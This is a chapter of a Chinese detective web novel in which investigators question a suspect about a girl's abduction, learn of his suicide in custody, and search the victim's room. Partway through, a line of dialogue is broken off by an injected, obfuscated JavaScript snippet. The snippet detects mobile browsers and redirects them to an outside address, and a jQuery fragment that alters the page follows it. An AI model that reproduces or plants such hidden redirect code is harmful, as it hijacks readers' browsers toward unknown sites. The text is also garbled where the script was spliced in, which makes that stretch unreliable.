“要不是你,她什么事也没有。”
周砚抬起头,目光惶惑。
闻昭往前一步,语气森然,“你要毁掉她的清白,让她跟你在一起,那么为什么你要穿**鞋子?”
“我……我一开始害怕万一出事,听说官府能通过脚印找人,我就穿了我娘的鞋子。”
“出事?出什么事?你要的是她嫁给你,能出什么事?”
周砚呆头鹅一般地仰着脑袋,呜呜地哭,“我只是觉得,我怕她万一是那种贞烈的,不肯就范,那我肯定得跑,所以才穿了我娘的鞋子!”
就怕蠢人灵机一动。
就算他没有杀张棠,他企图毁掉张棠清白来逼娶的行为,也不是什么好玩意。
裴植显然也是这么想的,他冷嗤一声,语调淡淡的,“还有别的要说的吗?”
过了好一会儿,周砚默默的说:“大理寺……会把这些说出去吗?”
“不会。”裴植说道。
“好……”他趴跪在地上,目光猩红。
裴植对苍玄点了点头。
苍玄上前,把周砚从椅子上提起来,带出了审讯室。
门关上的那一刻,审讯室里安静得能听见火把燃烧的声音。
闻昭靠在墙上,长长地吐出一口气。
“你觉得他说的是真的吗?”她问。
裴植站起身来,把那份茶盏推到一边,拿起桌上的笔录看了看。
在他看笔录的功夫,闻昭在旁边说:“打晕他的那个人肯定是真的存在的,他后脑勺的那个角度,自己也打不到。”
裴植点了点头。
闻昭说:“所以这个林子里有第三个人。”
裴植却道,“是这个案子有第三个人。”
“嗯?”
裴植缓缓道:“他后脑勺伤势为真,但谁知道是不是他的同伙为了撇清他的关系故意打的?”
也对……
她接话道:“而且张棠处女膜完整,下身无伤,如果真有这么一个匪徒,把她关了两天却什么都没干,这也很奇怪。”
除非这个匪徒其实跟周砚是一伙的,而张棠是周砚要娶的目标,所以才没动她。
想到这里,闻昭幽幽开口,“要是我,我才不想这种歪招,我让这伙人把张棠绑了,我再去演英雄救美不就好了,那她们家才会真的感恩戴德呢。”
裴植颔首,站起身往外走,边道:“嗯,好主意。”
闻昭顿了一瞬,不知道为什么,老觉得裴植说话时面带嘲讽。
那么目前最大的嫌疑人,就是那个明确看见了张棠、且在那条路上出现了的张天辉。
她正要往外走,忽然又想起一件事——
“床底下那双女鞋,鞋底的泥里有碎草叶和花瓣,记得让官差去那片林子附近看看,有没有同样的花。找不找得到脚印。”
“好。”
闻昭走出审讯室的时候,走廊里的风灌进来,吹得她打了个寒噤,她裹紧了斗篷,快步往外走。经过关押周砚的那间牢房时,她脚步顿了一下,听见里面传来低低的哭声,闷闷的,像是把脸埋在了掌心里。
她没有停留,继续往前走。
大理寺的院子里,天已经全黑了。
几盏灯笼在风中摇晃,把青石板地面照得忽明忽暗。
……
第二天一早,闻昭刚踏进大理寺的门,苍玄就迎了上来,脸色不太好看。
“少夫人,周砚**。”
闻昭的脚步顿住了。
“昨晚半夜,”苍玄说,“他把自己衣裳撕成布条,拴在牢房的栅栏上,勒**自己,等发现的时候,人已经凉透了。”
闻昭愣了半刻,第一反应是畏罪自尽。
苍玄说:“大人已经去看过了,让属下转告您,周砚的死讯暂时不要外传,尤其是别让张家庄的人知道。”
闻昭点了点头,没有说什么,她转身往外走,走了两步又停下来,回头问:“牢房里不可能有人进去吧。”
“不会。”
“没留血字遗书之类的?”
“没有。”
死的还挺干脆。
真是畏罪自戕?闻昭想起他昨天晚上问的话,显然还担心着自己的名声,怎么转头又**。
“算了,先去张家庄吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17451395|201175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
张棠的房间她还需要再看一眼。
张有德领着闻昭进去的时候,眼眶还是红的,他站在门口,声音沙哑地说:“棠儿的东西都在里头了,大人随便看,我……我不进去了。”
他说完就转身走了,背影佝偻着,像一下子老了十岁。
张棠的房间在东厢房,不大,但收拾得整整齐齐。床上的被褥叠得方方正正,枕头上还放着一只绣了一半的荷包,青色的缎面,上面绣着一朵半开的兰花,针脚细密,看得出绣的人手很巧。
窗台上摆着一个小陶罐,罐子里插着几枝干枯的野花,已经看不出原来的颜色了。
闻昭站在屋子中间,慢慢地转了一圈。
这个房间就是一个涉世未深的小姑娘留下的剪影——干净,整齐,带着一点少女的稚气和细腻。
她先看了床铺,枕头底下压着两张叠好的草纸,纸上画着花样,是荷包上那朵兰花的底稿,旁边还有几行小字,写的是针线的配色和针法,字迹娟秀,一笔一划都写得很认真。
被子底下什么都没有,床单也干干净净。
她又看了梳妆台,台上放着几盒脂粉,都是便宜货,但摆放得整整齐齐。梳妆匣里有一把木梳,梳齿断了两个,但擦得很干净。
匣子底下压着几根红头绳,还有一朵绢花,粉色的,花瓣有些皱了,像是戴过很多次。
闻昭拿起那朵绢花看了看,又放下了。
她打开梳妆台下面的抽屉,第一个抽屉里放着几块手帕,叠得整整齐齐,都是素色的,没有绣花。第二个抽屉里放着几本书,是那种市面上常见的戏文话本,书页有些卷边,显然翻过很多遍。
第三个抽屉拉不开。
闻昭用力拉了一下,抽屉纹丝不动。她蹲下来仔细看了看——抽屉没有上锁,但好像被什么东西卡住了。她把手指伸进抽屉的缝隙里,摸到一块硬邦邦的东西,像是一块木头,死死地顶在抽屉和边框之间。
她费了好大的劲才把那块木头抠出来,是一截断了的筷子,被人故意塞进去的,就是为了卡住抽屉不让它打开。
闻昭的心跳快了一拍。